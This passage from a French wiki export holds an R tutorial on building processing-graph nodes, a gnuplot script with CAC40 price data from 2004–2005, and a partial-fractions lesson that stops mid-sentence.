<tt>isStatic</tt> : qui fige le noeud * <tt>reset</tt> : qui signale que le noeud est en mode '''reset''' (cf plus loin) * <tt>buffer</tt> : qui signifie que le noeud est en mode '''buffeur''' ces propriétés ne doivent être manipulées que par le grapheur. En outre, le noeud global a des propriétés particulières, qui permettent au grapheur de savoir où il en est dans les traitements. ==== Manipulation des noeuds ==== Fabrication d'un noeud vide # make node makeNode <- function( id, ...) { z<-list(...); if(is.list(id)) { z$id = length(id)+1; } else { z$id = id; } return(z) } <b>connecter deux noeuds au sein d'une liste de noeuds</b> il s'agit de remplir les propriétés <tt>cinput </tt> et <tt>coutput</tt> des noeuds respectifs. # connect nodes connectNodes <- function( listOfNodes, first, second, inputField="cinput", outputField="coutput") { if( length(first)==1 ) first = list(first, 1); if( length(second)==1 ) second = list(second, 1); firstId = getNodeId( listOfNodes, first[[1]]); secondId = getNodeId( listOfNodes, second[[1]]); out1 = listOfNodes[[firstId]][[outputField]]; in2 = listOfNodes[[secondId]][[inputField]]; out1 = rbind(out1, c(secondId, second[[2]])); in2 = rbind(in2 , c(firstId, first[[2]])); listOfNodes[[firstId]][[outputField]] = out1; listOfNodes[[secondId]][[inputField]] = in2; return( listOfNodes) } ==== Manipulation et exécution du graphe ==== ==== Factorisation des fonctions ==== ==== Exemples commentés ==== Voici la version graphique de l'enchaînement de traitements que nous allons suivres grâce à rgraph.r: [[Image:Gr-example-01.jpg]] The interface allowing to import graphml graphs (drawn by [http://www.yworks.com/en/products_yed_about.htm yed], using its [http://graphml.graphdrawing.org/ graphml] [http://www.yworks.com/en/products_yfiles_ep_graphml.htm module]) into rgraph is available in [http://www.gnu.org/software/gawk/gawk.html awk] at [http://sourceforge.net/project/showfiles.php?group_id=72934&package_id=149310 PhiMaTeX]. Mathématiques du traitement du signal:finances:données et affichages 3750 38789 2006-03-25T11:51:58Z Charles 328 Un conseil: l'utilisation de [http://www.gnuplot.info/ gnuplot]. Des historiques de données sont facilement disponibles sous [http://www.euronext.com euronext] ou [http://finance.yahoo.com/ yahoo finance]. Cela permet d'obtenir très simplement des affichages du genre suivant : [[Image:Cac.png]] A l'aide de quelques lignes de code : set xdata time set timefmt "%d/%m/%y" set format x "%m/%y" set multiplot; set size 1,0.5; set origin 0.0,0.5; set grid y set timefmt "%d/%m/%y" plot "cac-date.txt" using 1:2:3:4:5 title "CAC40" with candlesticks set origin 0.0,0.0; set timefmt "%d-%b-%y" plot "cac-vol-vx1-yahoo.txt" using 1:2:3:4:5 title "XV1 VOL(yahoo-CAC40)" with candlesticks unset multiplot Précédées de set terminal png set output "c:/Documents and Settings/camille/Mes Documents/maths/data/cac.png" [[Catégorie:Mathématiques]] Image:180px-Node-proto.png 3751 15234 2005-05-29T15:21:42Z Charles 328 grapheur ; exemple de graphe de traitement grapheur ; exemple de graphe de traitement Image:Cac.png 3752 15235 2005-05-29T15:22:14Z Charles 328 CAC40 et sa volatilité implicite à un mois CAC40 et sa volatilité implicite à un mois Image:Gr-example-01.jpg 3753 15236 2005-05-29T15:22:34Z Charles 328 exemple de graphe de traitement exemple de graphe de traitement Mathematiques du traitement du signal:grapheur 3755 15238 2005-05-29T15:32:51Z Charles 328 == Grapheur == Un grapheur est un système informatique permettant de manipuler des '''graphes de traitements''' algorithmiques. Ils rendent possible le chaînage (l'assemblage) de '''modules''' (ou '''noeuds''') algorithmiques, ainsi que leur exécution. Un chapitre du mémoire d'habilitation à diriger les recherches de [http://www.cmla.ens-cachan.fr/Utilisateurs/lacaille/ Jérôme Lacaille] est très éclairant sur les [http://www.cmla.ens-cachan.fr/Utilisateurs/lacaille/hdr/hdr_dmc.pdf grapheurs]. === Exemple de grapheur en langage R === Un grapheur simple en langage R est disponible sous licence GNU sur le site [http://phimatex.sourceforge.net PhiMaTeX] de [http://www.sourceforge.net sourceforge] ; sa dernière version est téléchargeable [https://sourceforge.net/project/showfiles.php?group_id=72934&package_id=149310 ici]. Ce grapheur est commenté afin d'exposer les points nécessaires au bon fonctionnement d'un tel système. ==== Format du graphe de traitement ==== Dans le cadre d'une implémentation en R, un graphe de traitement va être incarné par une liste de '''noeuds'''. Chaque noeud représentra un traitement. Il y aura un noeud supplémentaire (pompeusement appelé '''global-node''') qui contiendra des informations globales sur le graphe de traitement (comme son mode d'exécution courrant, ou le dernier chaînage exécuté). Chaque noeud va avoir plusieurs propriétés, qui vont permettent de le décrire ; le minimum est : * un numéro d'identifiant unique : <tt>id</tt> * le nom du noeud (<tt>name</tt>), qui permet de s'y référer plus simplement que par son numéro d'id * la fonction algorithmique attachée au noeud : <tt>rfun</tt> * les paramètres du noeud : <tt>params</tt>, structuré en une liste de couples nom-valeur (<tt>name</tt> x <tt>value</tt>) * ses connections vers d'autres noeuds : <tt>coutput</tt> * ses connections provenant d'autres noeuds : <tt>cinput</tt> ; il s'agit d'une matrice <math>N \times 2</math> dont la ''n''ième ligne contient, pour la connection ''n'', le nom du module pointé (ou pointeur), suivi du numéro de la connection concernée * sa mémoire interne : <tt>memory</tt> * la valeur du signal de sortie, lorsque c'est appliquable : <tt>outputs</tt> <center>[[Image:Node-proto.png|thumb|Description]]</center> Il existe d'autres propriété, qui sont manipulées par le grapheur lui-même : * <tt>verbose</tt> : qui détermine le niveau des sorties relatives au noeud qui seront dans le log * <tt>isStatic</tt> : qui fige le noeud * <tt>reset</tt> : qui signale que le noeud est en mode '''reset''' (cf plus loin) * <tt>buffer</tt> : qui signifie que le noeud est en mode '''buffeur''' ces propriétés ne doivent être manipulées que par le grapheur. En outre, le noeud global a des propriétés particulières, qui permettent au grapheur de savoir où il en est dans les traitements. ==== Manipulation des noeuds ==== Fabrication d'un noeud vide # make node makeNode <- function( id, ...) { z<-list(...); if(is.list(id)) { z$id = length(id)+1; } else { z$id = id; } return(z) } <b>connecter deux noeuds au sein d'une liste de noeuds</b> il s'agit de remplir les propriétés <tt>cinput </tt> et <tt>coutput</tt> des noeuds respectifs. # connect nodes connectNodes <- function( listOfNodes, first, second, inputField="cinput", outputField="coutput") { if( length(first)==1 ) first = list(first, 1); if( length(second)==1 ) second = list(second, 1); firstId = getNodeId( listOfNodes, first[[1]]); secondId = getNodeId( listOfNodes, second[[1]]); out1 = listOfNodes[[firstId]][[outputField]]; in2 = listOfNodes[[secondId]][[inputField]]; out1 = rbind(out1, c(secondId, second[[2]])); in2 = rbind(in2 , c(firstId, first[[2]])); listOfNodes[[firstId]][[outputField]] = out1; listOfNodes[[secondId]][[inputField]] = in2; return( listOfNodes) } ==== Manipulation et exécution du graphe ==== ==== Factorisation des fonctions ==== ==== Exemples commentés ==== Voici la version graphique de l'enchaînement de traitements que nous allons suivres grâce à rgraph.r: [[Image:Gr-example-01.jpg]] The interface allowing to import graphml graphs (drawn by [http://www.yworks.com/en/products_yed_about.htm yed], using its [http://graphml.graphdrawing.org/ graphml] [http://www.yworks.com/en/products_yfiles_ep_graphml.htm module]) into rgraph is available in [http://www.gnu.org/software/gawk/gawk.html awk] at [http://sourceforge.net/project/showfiles.php?group_id=72934&package_id=149310 PhiMaTeX]. Mathematiques du traitement du signal:finances:donnees et affichages 3756 15239 2005-06-03T19:44:34Z 81.185.39.213 /* 1. Se procurer des données */ Un conseil: l'utilisation de [http://www.gnuplot.info/ gnuplot]. == 1. Se procurer des données == Des historiques de données sont facilement disponibles sous [http://www.euronext.com euronext] ou [http://finance.yahoo.com/ yahoo finance]. * exemple 1: le CAC40 par euronext [[Mathematiques_du_traitement_du_signal:finances:cac-date.txt|cac-date.txt]] * exemple 2: la volatilité du CAC40 1 mois par yahoo finance [[Mathematiques_du_traitement_du_signal:finances:cac-vol-vx1-yahoo.txt|cac-vol-vx1-yahoo.txt]] == 2. Exploiter gnuplot == Cela permet d'obtenir très simplement des affichages du genre suivant : [[Image:Cac.png]] A l'aide de quelques lignes de code : set xdata time set timefmt "%d/%m/%y" set format x "%m/%y" set multiplot; set size 1,0.5; set origin 0.0,0.5; set grid y set timefmt "%d/%m/%y" plot "cac-date.txt" using 1:2:3:4:5 title "CAC40" with candlesticks set origin 0.0,0.0; set timefmt "%d-%b-%y" plot "cac-vol-vx1-yahoo.txt" using 1:2:3:4:5 title "XV1 VOL(yahoo-CAC40)" with candlesticks unset multiplot Précédées de set terminal png set output "c:/Documents and Settings/camille/Mes Documents/maths/data/cac.png" Image:Node-proto.png 3757 15240 2005-05-29T15:35:58Z Charles 328 proto de noeud proto de noeud Mathematiques du traitement du signal:finances:cac-date.txt 3758 15241 2005-05-29T17:20:31Z 81.185.25.226 voici le contenu du fichier # Date opening High Low closing 28/05/04 3689.86 3696.69 3652.03 3652.03 31/05/04 3645.82 3677.73 3644.62 3669.63 01/06/04 3668.14 3669.17 3613.42 3624.47 02/06/04 3641.63 3673.71 3636.31 3646.23 03/06/04 3642.87 3654.37 3618.23 3654.37 04/06/04 3665 3704.64 3654.6 3698.87 07/06/04 3711.99 3729.52 3706.46 3722.23 08/06/04 3738.11 3738.12 3711.51 3723.46 09/06/04 3722.3 3735.02 3695.07 3699.29 10/06/04 3691.92 3716.77 3691.92 3711.38 11/06/04 3708.56 3708.56 3686.43 3699.38 14/06/04 3689.4 3695.99 3636.76 3647.1 15/06/04 3650.92 3694.91 3640.8 3683.43 16/06/04 3695.04 3720.25 3692.6 3714.5 17/06/04 3704.99 3736.2 3704.99 3718.08 18/06/04 3709.2 3744.17 3699.99 3740.9 21/06/04 3753.3 3756.32 3726.21 3740.28 22/06/04 3731.69 3732.48 3693.8 3700.32 23/06/04 3721.7 3737.18 3715.4 3720.14 24/06/04 3752.55 3768.05 3740.56 3755.75 25/06/04 3741.6 3756.8 3731.57 3742.38 28/06/04 3739.15 3778.76 3732.69 3771.58 29/06/04 3756.18 3763.94 3746.17 3756.48 30/06/04 3763.06 3770.53 3732.99 3732.99 01/07/04 3749.31 3773.64 3708.38 3716.2 02/07/04 3708.25 3717.83 3673.33 3685.06 05/07/04 3683.7 3702.6 3683.7 3688.18 06/07/04 3682.81 3689.95 3650.52 3660.68 07/07/04 3663.17 3680.92 3657.28 3660.4 08/07/04 3651.08 3670.41 3627.96 3670.41 09/07/04 3648.49 3676.02 3635.28 3668.48 12/07/04 3650.86 3680.83 3644.85 3651.63 13/07/04 3670.33 3670.99 3656.18 3656.18 14/07/04 3636.77 3651.49 3617.42 3648.75 15/07/04 3640.04 3645.88 3610.37 3610.55 16/07/04 3611.61 3637.32 3607.9 3610.4 19/07/04 3601.05 3615.95 3588.69 3592.63 20/07/04 3586.84 3610.08 3564.25 3607.39 21/07/04 3639.45 3657.51 3633.18 3637.47 22/07/04 3596.73 3599.25 3568.59 3572.84 23/07/04 3581.36 3587.76 3560.66 3567.29 26/07/04 3568.33 3582.01 3530.96 3532.61 27/07/04 3538.21 3567.61 3536.36 3565.1 28/07/04 3589.97 3602.66 3564.62 3575.92 29/07/04 3588.06 3646.56 3588.06 3643.79 30/07/04 3638.1 3662.06 3620.98 3647.1 02/08/04 3622.85 3628.36 3607.26 3623.79 03/08/04 3637.28 3655.11 3626.52 3650.8 04/08/04 3623.09 3631.16 3592.87 3607.58 05/08/04 3624.82 3652.6 3622.98 3622.98 06/08/04 3576.32 3595.62 3525.87 3528.64 09/08/04 3529.34 3532.39 3482.03 3497.3 10/08/04 3494.61 3533.06 3494.61 3533.06 11/08/04 3539.53 3542.35 3477.14 3502.95 12/08/04 3513.38 3535.07 3477.24 3494.23 13/08/04 3467.02 3495.92 3460.9 3484.84 16/08/04 3470.33 3521.5 3452.41 3516.68 17/08/04 3512.74 3553.77 3507.16 3533.13 18/08/04 3527.86 3545.79 3510.78 3541.48 19/08/04 3557.31 3572.15 3534.47 3544.42 20/08/04 3545.4 3545.41 3511.3 3538.02 23/08/04 3567.09 3595.52 3555.27 3589.69 24/08/04 3592.55 3612.78 3584.57 3594.38 25/08/04 3607.12 3612.03 3586.16 3595.26 26/08/04 3624.26 3633.63 3614.91 3629.84 27/08/04 3635.16 3649.24 3622.73 3649.24 30/08/04 3650.78 3656.57 3631.88 3636.71 31/08/04 3621.14 3630.85 3583.74 3594.28 01/09/04 3606.08 3627.81 3601.07 3613.23 02/09/04 3610.69 3640.82 3601.38 3633.38 03/09/04 3633.85 3674.3 3624.75 3665.94 06/09/04 3671.27 3681.84 3664.29 3673.03 07/09/04 3673.58 3688.63 3664.3 3682.14 08/09/04 3682.26 3686.13 3670.85 3677.55 09/09/04 3663.69 3664.54 3635.52 3652.02 10/09/04 3656.77 3683.72 3655.98 3677.61 13/09/04 3691.11 3725.4 3691.11 3725.4 14/09/04 3716.6 3716.72 3699.09 3708.03 15/09/04 3708.49 3720.75 3686.16 3691.85 16/09/04 3692.59 3703.84 3677.48 3691.68 17/09/04 3701.28 3736.67 3684.71 3726.22 20/09/04 3716.7 3719.88 3685.27 3703.69 21/09/04 3696.56 3734.48 3695.35 3731.14 22/09/04 3723.46 3740.51 3690.12 3692.11 23/09/04 3682.04 3685.51 3642.04 3653.1 24/09/04 3648.77 3676.2 3644.91 3673.51 27/09/04 3678.42 3678.42 3646.08 3656.93 28/09/04 3647.02 3682.57 3643.51 3667.47 29/09/04 3668.17 3695.8 3668.17 3682.67 30/09/04 3700.73 3709.25 3634.07 3640.61 01/10/04 3656.3 3730.16 3656.3 3730.16 04/10/04 3749.05 3779.33 3749.05 3767.06 05/10/04 3764.88 3782.38 3752.25 3770.24 06/10/04 3771.3 3778.68 3750.11 3764.59 07/10/04 3773.24 3787.39 3749.68 3758.7 08/10/04 3741.46 3771.28 3717.02 3737.87 11/10/04 3733.83 3735.41 3714.58 3727.64 12/10/04 3719.71 3719.86 3671.28 3688.73 13/10/04 3701.45 3717.61 3685.58 3694.32 14/10/04 3675.23 3685.42 3662.87 3664.95 15/10/04 3647.59 3670.76 3638.14 3670.76 18/10/04 3679.77 3683.5 3653.17 3659.81 19/10/04 3689.19 3723.44 3689.19 3700.56 20/10/04 3662.95 3673.67 3650.62 3665.68 21/10/04 3696.02 3696.02 3651.92 3687.53 22/10/04 3689.05 3712.17 3679.15 3687.17 25/10/04 3636.27 3636.27 3599.37 3609.06 26/10/04 3612.39 3623.3 3600.75 3619.48 27/10/04 3637.06 3680.4 3628.74 3678.39 28/10/04 3699.9 3724.09 3699.01 3721.82 29/10/04 3708.51 3738.59 3706.82 3706.82 01/11/04 3697.94 3741.54 3697.94 3734.07 02/11/04 3738.93 3766.39 3731.53 3765.84 03/11/04 3790.2 3798.2 3765.21 3769.93 04/11/04 3748.71 3768.01 3741.46 3762.45 05/11/04 3796.19 3811.6 3776.01 3780.99 08/11/04 3782.35 3787.29 3770.51 3776.99 09/11/04 3784.16 3785.74 3767.12 3769.94 10/11/04 3782.03 3798.76 3780.07 3784.91 11/11/04 3780.12 3839.5 3776.54 3833.79 12/11/04 3844.41 3850.16 3826.32 3835.11 15/11/04 3848.09 3856.01 3820.56 3820.97 16/11/04 3827.26 3832.74 3781.81 3794.27 17/11/04 3801.5 3844.14 3793.98 3844.14 18/11/04 3826.68 3839.87 3819.76 3830.39 19/11/04 3837.92 3844.38 3792.95 3798.78 22/11/04 3776.52 3783.11 3754.16 3774.25 23/11/04 3795.18 3807.38 3772.98 3780.09 24/11/04 3798 3798 3754.14 3760.7 25/11/04 3771.36 3802.85 3769.43 3797.59 26/11/04 3783.6 3791.9 3764.31 3782.2 29/11/04 3787.09 3824.6 3780.61 3780.61 30/11/04 3796.13 3796.13 3745.75 3753.75 01/12/04 3751.74 3805.85 3744.36 3796.71 02/12/04 3808.47 3822.25 3796.08 3811.45 03/12/04 3812.42 3824.47 3771.61 3783.51 06/12/04 3765.09 3771.09 3755.68 3767.39 07/12/04 3770.57 3800.49 3763.08 3787.45 08/12/04 3763.51 3782.44 3755.15 3775.04 09/12/04 3760.34 3786 3735.55 3747.46 10/12/04 3768.23 3779.17 3753.68 3768.42 13/12/04 3777.07 3813.69 3775 3805.94 14/12/04 3827.74 3829.8 3803.92 3814.39 15/12/04 3821.75 3825.73 3802.06 3802.99 16/12/04 3805.33 3818.11 3804.12 3810.67 17/12/04 3812.49 3814.77 3742.94 3744.92 20/12/04 3742.82 3776.03 3742.61 3764.04 21/12/04 3758.53 3773.44 3755.55 3770.03 22/12/04 3793.39 3811.3 3789.49 3806.15 23/12/04 3800.43 3822.01 3799.96 3819.68 24/12/04 3816.63 3823.53 3808.19 3822.76 27/12/04 3812.68 3833.63 3812.02 3817.69 28/12/04 3820.87 3825.31 3808.19 3824.83 29/12/04 3832.21 3838.18 3818.21 3827.16 30/12/04 3838.88 3838.88 3826.3 3827.95 31/12/04 3820.87 3821.16 3801.78 3821.16 03/01/05 3830.58 3884.73 3824.05 3855.68 04/01/05 3848.26 3874.47 3845.03 3863.3 05/01/05 3834.07 3845.28 3828.81 3829.36 06/01/05 3831.84 3864.36 3831.05 3856.48 07/01/05 3851.88 3883.92 3848.95 3877.96 10/01/05 3890.39 3890.39 3860.15 3877.82 11/01/05 3897.36 3897.36 3841.25 3848.99 12/01/05 3852.26 3856.7 3804.92 3816.14 13/01/05 3834.9 3844.57 3821.61 3834.11 14/01/05 3821.62 3861.96 3820.93 3854.6 17/01/05 3865.4 3881.44 3861.35 3881.44 18/01/05 3875.16 3877.54 3847.32 3875.02 19/01/05 3883.44 3892.19 3864.66 3869.01 20/01/05 3847.32 3852.63 3834.11 3842.44 21/01/05 3829.16 3857.82 3829.16 3854.19 24/01/05 3840.57 3854.44 3819.95 3848.71 25/01/05 3846.81 3887.18 3844.03 3882.04 26/01/05 3885.72 3892.35 3877.57 3879.82 27/01/05 3892.04 3892.94 3861.66 3891.4 28/01/05 3897.57 3899.42 3868.88 3870.35 31/01/05 3895.9 3913.92 3893.75 3913.69 01/02/05 3914.21 3939.18 3908.8 3939.18 02/02/05 3947.41 3951.72 3935.25 3951.72 03/02/05 3946.02 3953.58 3921.23 3928.94 04/02/05 3942.72 3960.27 3928.42 3958.01 07/02/05 3968.97 3982.67 3968.25 3981.9 08/02/05 3980.72 3984.68 3968.53 3980.77 09/02/05 3986.69 3991.09 3955.67 3969.62 10/02/05 3970.84 3986.81 3956.88 3970.37 11/02/05 3978.3 4016.75 3978.3 4016.75 14/02/05 4013.9 4020.7 3999.54 4012.11 15/02/05 4009.82 4034.01 4003.56 4030.45 16/02/05 4026.75 4030.45 3995.1 4009.02 17/02/05 4011.04 4024.65 4004.2 4005.5 18/02/05 4000.87 4042.27 3999.9 4029.02 21/02/05 4034.19 4040.38 4008.65 4022.62 22/02/05 4019.88 4024.68 3980.55 4002.33 23/02/05 3974.94 3978.66 3951.6 3977.19 24/02/05 3983.59 3985.79 3969.03 3977.67 25/02/05 4000.03 4034.57 4000.03 4034.57 28/02/05 4043.73 4056.69 4027.16 4027.16 01/03/05 4025.84 4067.09 4023.61 4054.98 02/03/05 4060.47 4062.72 4032.99 4062.72 03/03/05 4051.42 4073.68 4050.02 4061.35 04/03/05 4080.15 4091.58 4059.45 4091.58 07/03/05 4094.37 4108 4090.04 4108 08/03/05 4098.38 4103.65 4079.28 4085.38 09/03/05 4091.68 4104.74 4062.86 4066.69 10/03/05 4048.4 4057.6 4033.7 4038.21 11/03/05 4063.45 4067.16 4047.69 4049.18 14/03/05 4046.42 4055.77 4035.78 4048.55 15/03/05 4060.47 4083.41 4059.77 4077.74 16/03/05 4064.18 4074.51 4019.4 4019.4 17/03/05 4020.59 4036.17 4011.21 4032.07 18/03/05 4040.09 4060.78 4034.94 4050.77 21/03/05 4045.97 4059.79 4032.19 4033 22/03/05 4036.26 4051.8 4010.67 4047.18 23/03/05 4009.22 4036.7 4009.01 4032.41 24/03/05 4042.24 4080.9 4036.3 4078.31 29/03/05 4056.43 4082.19 4043.9 4081.65 30/03/05 4060.15 4074.01 4053.65 4064.61 31/03/05 4091.46 4097.07 4064.61 4067.78 01/04/05 4068 4097.05 4062.23 4080.08 04/04/05 4067.81 4067.81 4029.95 4052.32 05/04/05 4074.89 4090.63 4069.55 4087.94 06/04/05 4094.14 4108.51 4093.06 4106.99 07/04/05 4111.51 4130.93 4099.91 4124.37 08/04/05 4134.32 4143.93 4122.61 4124.29 12/04/05 4112.71 4116.32 4089.17 4096.81 13/04/05 4122.97 4126.52 4114.27 4116.85 14/04/05 4100.63 4126.14 4097.87 4111.11 15/04/05 4083.95 4084.91 4032.28 4032.28 18/04/05 3975.25 3975.25 3930.63 3949.59 19/04/05 3971.73 3973.64 3954.42 3962.39 20/04/05 3979.75 3983.54 3944.31 3950.02 21/04/05 3933.23 3972.57 3933.23 3951.02 22/04/05 3977.75 3985.8 3967.79 3980.18 25/04/05 3973.75 3997.05 3966.1 3993.07 26/04/05 3997.89 4000.12 3970.73 3993.04 27/04/05 3960.04 3978.06 3917.28 3927.68 28/04/05 3940.16 3950.6 3895.42 3911.45 29/04/05 3882.42 3930.59 3882.42 3911.71 02/05/05 3928.71 3945.06 3920.88 3938.77 03/05/05 3953.25 3956.58 3934.72 3955.93 04/05/05 3968.03 3987.63 3950.54 3987.63 05/05/05 3995.2 4025.97 3995.2 4019.35 06/05/05 4020 4041.17 4004.27 4033.46 09/05/05 4028.51 4033.37 4011.46 4020.19 10/05/05 4021.25 4035.65 3990.58 4000.25 11/05/05 3977.99 4009.38 3977.11 3979.53 12/05/05 4010.7 4022.85 4004.43 4015.65 13/05/05 3996.98 4017.89 3990.48 4017.89 16/05/05 3990.46 4015.4 3990.46 4010.98 17/05/05 4022.51 4022.51 3994.79 4006.19 18/05/05 4016.15 4073.15 4016.15 4073.15 19/05/05 4076.64 4091.82 4074.65 4085.98 20/05/05 4088.03 4112.06 4080.44 4096.18 23/05/05 4113.33 4123.94 4100.96 4118.37 24/05/05 4110.09 4112.06 4083.53 4102.06 25/05/05 4097.41 4114.75 4092.32 4100.27 26/05/05 4101.14 4140.48 4101.02 4137.28 AL Fractions partielles 3759 15242 2005-05-29T19:45:56Z Jim2k 289 Traduction de l'article anglais <[[Approfondissements de lycée]] ==Méthode des fractions partielles== ===Introduction=== Avant de commencer, considérons ce qui suit : <math>\frac{1}{1\times2}+\frac{1}{2\times3}+\frac{1}{3\times4}......+\frac{1}{99\times100}</math> Comment pouvons-nous calculer cette somme ? Au premier coup d'oeil, cela semble difficile, mais si vous y réfléchissez, vous trouverez : <math>\frac{1}{4\times5}=\frac{5-4}{4\times5}=\frac{5}{4\times5}-\frac{4}{4\times5}=\frac{1}{4}-\frac{1}{5}</math> Ainsi, le problème original peut être réécrit comme suit, <math>=\frac{1}{1}-\frac{1}{2}+\frac{1}{2}-\frac{1}{3}+\frac{1}{3}-\frac{1}{4}......-\frac{1}{99}+\frac{1}{99}-\frac{1}{100}</math> Donc, tous les termes excepté le premier et le dernier peuvent être annulés, et par conséquent <math>=1-\frac{1}{100}=\frac{99}{100}</math> En fait, vous avez effectué des fractions partielles ! Les fractions partielles est une méthode pour réduire les fractions compliquées qui impliquent des produits en sommes de fractions plus simples. ===Méthode=== Comment faisons-nous des fractions partielles ? Regardons l'exemple ci-dessous :<br> <math>\frac{4z-5}{z^2-3z+2}</math> Factorisons le dénominateur.<br> <math>\frac{4z-5}{(z-1)(z-2)}</math> Puis, nous supposons que nous '''pouvons''' le scinder en fractions comportant au dénominateur (z-1) et (z-2) respectivement. Notons leurs numérateurs a et b.<br> <math>\frac{4z-5}{(z-1)(z-2)} \equiv \frac{a}{z-1}+\frac{b}{z-2}</math> <math>\frac{4z-5}{(z-1)(z-2)} \equiv \frac{a(z-2)}{(z-1)(z-2)} + \frac{b(z-1)}{(z-1)(z-2)}</math> <math>\frac{4z-5}{(z-1)(z-2)} \equiv \frac{az-2a+bz-b}{(z-1)(z-2)}</math> <math>\frac{4z-5}{(z-1)(z-2)} \equiv \frac{(a+b)z-(2a+b)}{(z-1)(z-2)}</math> <math>4z-5 \equiv (a+b)z-(2a+b)</math> Par conséquent, en faisant coïncider les coefficients des puissances de z, nous avons : <math> \begin{cases} a+b=4 & ...(1) \\ 2a+b=5 & ...(2) \end{cases} </math> (2)-(1):a=1 Substituons a=1 en (1):b=3 Par conséquent<br> <math>\frac{4z-5}{z^2-3z+2}=\frac{1}{z-1}+\frac{3}{z-2}</math> (Besoin d'exercices !) ==Plus sur les fractions partielles== ===Facteurs répétés=== Lors de la dernière sections, nous avons parlé de la factorisation du dénominateur, et obtenu chaque facteur comme dénominateur de chaque terme. Mais que se passe-t'il lorqu'il y a une répétition de facteurs ? Pouvons-nous appliquer la même méthode ? Regardons l'exemple ci-dessous : <math>\frac{4x-1}{(x+2)^2(x-1)}</math> <math>\equiv \frac{A}{x+2} + \frac{B}{x+2} + \frac{C}{x-1}</math> <math>\equiv \frac{A+B}{x+2} + \frac{C}{x-1}</math> <math>\equiv \frac{(A+B)(x-1)}{(x+2)(x-1)} + \frac{C(x+2)}{(x+2)(x-1)}</math> <math>\equiv \frac{(A+B)(x-1)+C(x+2)}{(x+2)(x-1)}</math> <math>\equiv \frac{(A+B+C)x+(2C-A-B)}{(x+2)(x-1)}</math> Un facteur est manquant ! Pouvons-nous multiplier et le dénominateur et le numérateur par ce facteur ? Non ! Parceque le numérateur est de degré 1, en multipliant avec un facteur linéaire le rendra de degré 2 ! (Vous pouvez penser : ne pouvons-nous pas établir A+B+C=0 ? Oui, mais en substituant A+B=-C, vous trouverez que ceci est impossible) A partir de l'échec de l'exemple précédent, nous voyons que l'ancienne méthode des fractions partielles ne marche pas. Vous pouvez vous demander si nous pouvons actuellement les scinder ? Oui, mais avant d'attaquer ce problème, regardons d'un peu plus près les dénominateurs. Considérons l'exemple suivant :<br> <math>\frac{1}{2^{3}7^2} + \frac{1}{2^{5}7}\,</math> <math>=\frac{2^2}{2^{5}7^2} + \frac{7}{2^{5}7^2}\,</math> <math>=\frac{2^2 + 7}{2^{5}7^2}\,</math><br> Nous pouvons voir que la puissance du facteur premier dans le produit du dénominateur est la puissance maximale de ce facteur premier dans tous les termes du dénominateur. De manière similaire, soient les facteurs <math>P_1,P_2,...,P_n</math>, alors, nous avons le cas général :<br> <math>\frac{A}{P_1^{\alpha_1}P_2^{\alpha_2}...P_n^{\alpha_n}} + \frac{B}{P_1^{\beta_1}P_2^{\beta_2}...P_n^{\beta_n}} + ... \frac{Z}{P_1^{\zeta_1}P_2^{\zeta_2}...P_n^{\zeta_n}}</math><br> Si nous les convertissons en une grande fraction, le dénominateur sera :<br> <math>P_1^{max(\alpha_1,\beta_1,...,\zeta_1)} P_2^{max(\alpha_2,\beta_2,...,\zeta_2)}... P_n^{max(\alpha_n,\beta_n,...,\zeta_n)}</math> Revenons à notre exemple, puisque le facteur (x+2) est de puissance 2, au moins un des termes a <math>(x+2)^2</math> comme le facteur du dénominateur. Vous pouvez alors essayer comme suit : <math>\frac{4x-1}{(x+2)^2(x-1)}</math> <math>\equiv \frac{A}{(x+2)^2} + \frac{B}{x-1}</math> <math>\equiv \frac{A(x-1)}{(x+2)^2(x-1)} + \frac{B(x+2)^2}{(x+2)^2(x-1)}</math> <math>\equiv \frac{A(x-1) + B(x+2)^2}{(x+2)^2(x-1)}</math> <math>\equiv \frac{Ax - A + Bx^2 + 4Bx + 4B}{(x+2)^2(x-1)}</math> <math>\equiv \frac{Bx^2 + (A+4B)x + (4B-A)}{(x+2)^2(x-1)}</math> Mais, de nouveau, nous ne pouvons pas fixer B=0, puisque cela voudrait dire que le dernier terme est 0 ! Qu'est-ce qui manque ? Pour le manipuler proprement, utilisons une table pour montrer toutes les combinaisons du dénominateur : {| border="1" cellpadding="2" |+Combinaisons possibles du dénominateur |- |Puissance de (x+2)||Puissance de (x-1)||Résultat||Utilisé ? |- | 0 || 0 || 1 || Pas utile |- | 1 || 0 || (x+2) || Non utilisé |- | 2 || 0 || (x+2)^2 || Utilisé |- | 0 || 1 || (x-1) || Utilisé |- | 1 || 1 || (x+2)(x-1) || Pas utile |- | 2 || 1 || (x+2)^2(x-1) || Pas utile |} Donc, nous savons maintenant quel X/(x+2) est manquant, nous pouvons finalement obtenir la réponse : <math>\frac{4x-1}{(x+2)^2(x-1)}</math> <math>\equiv \frac{A}{(x+2)^2} + \frac{B}{x+2} + \frac{C}{x-1}</math> <math>\equiv \frac{A(x-1)}{(x+2)^2(x-1)} + \frac{B(x+2)(x-1)}{(x+2)^2(x-1)} + \frac{C(x+2)^2}{(x+2)^2(x-1)}</math> <math>\equiv \frac{A(x-1) + B(x^2+x-2) + C(x^2+4x+4)}{(x+2)^2(x-1)}</math> <math>\equiv \frac{(B+C)x^2+(A+B+4C)x-(A+2B-4C)}{(x+2)^2(x-1)}</math> Par conséquent, en coïncidant le coefficient de la puissance de x, nous avons Pour conclure, pour un facteur répété d'une puissance n, nous aurons n termes avec leur dénominateur étant X^n, X^(n-1), ...,X^2, X Les travaux continuent, ne pas déranger :) ===Méthode différente pour les facteurs répétés=== A la différence de la méthode suggérée ci-dessus, nous pourrions utiliser une autre approche du problème. Nous pouvons d'abord exclure certains facteurs pour qu'il soit de la forme non répétée, puis effectuer les fractions partielles, et multiplier le facteur en retour, puis appliquer les fractions partielles sur les 2 fractions. <math>\frac{4x-1}{(x+2)^2(x-1)}</math> <math>\equiv \frac{1}{x+2} \times \frac{4x-1}{(x+2)(x-1)}</math> Puis, nous appliquons les fractions partielles sur la dernière partie : <math>\frac{4x-1}{(x+2)(x-1)} \equiv \frac{A}{x+2} + \frac{B}{x-1}</math> <math>\frac{4x-1}{(x+2)(x-1)} \equiv \frac{A(x-1)}{(x+2)(x-1)} + \frac{B(x+2)}{(x+2)(x-1)}</math> <math>\frac{4x-1}{(x+2)(x-1)} \equiv \frac{A(x-1)+B(x+2)}{(x+2)(x-1)}</math> <math>\frac{4x-1}{(x+2)(x-1)} \equiv \frac{(A+B)x+(2B-A)}{(x+2)(x-1)}</math> <math>4x-1 \equiv (A+B)x + (2B-A)</math> En coïndidant 